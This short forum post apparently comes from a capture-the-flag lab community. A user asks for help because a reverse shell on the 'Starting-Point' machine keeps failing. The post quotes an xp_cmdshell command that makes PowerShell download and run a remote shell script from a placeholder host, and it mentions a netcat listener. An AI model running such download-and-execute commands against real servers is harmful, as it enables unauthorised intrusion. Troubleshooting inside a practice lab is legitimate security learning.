Starting-Point Foothold

Hey everybody!

I have some problems with getting the reverse shell.
After "xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://X.X.X.X/shell.ps3\“);” I get the correct http request on the python server, but afterwards nothing comes in to the specified port on which I listen with netcat (I tried several) and I get this message: "New-Object : Exception calling “.ctor” with “2” argument(s): “No connection could be made because the target machine actively refused it 10.10.10.27:443"”
I know some other people had this problem too, but I already deactivated the firewall completely (even on the router), but it still doesnt work.
Has somebody an idea?

Regards

I keep getting a syntax error: bash: syntax error near unexpected token `(’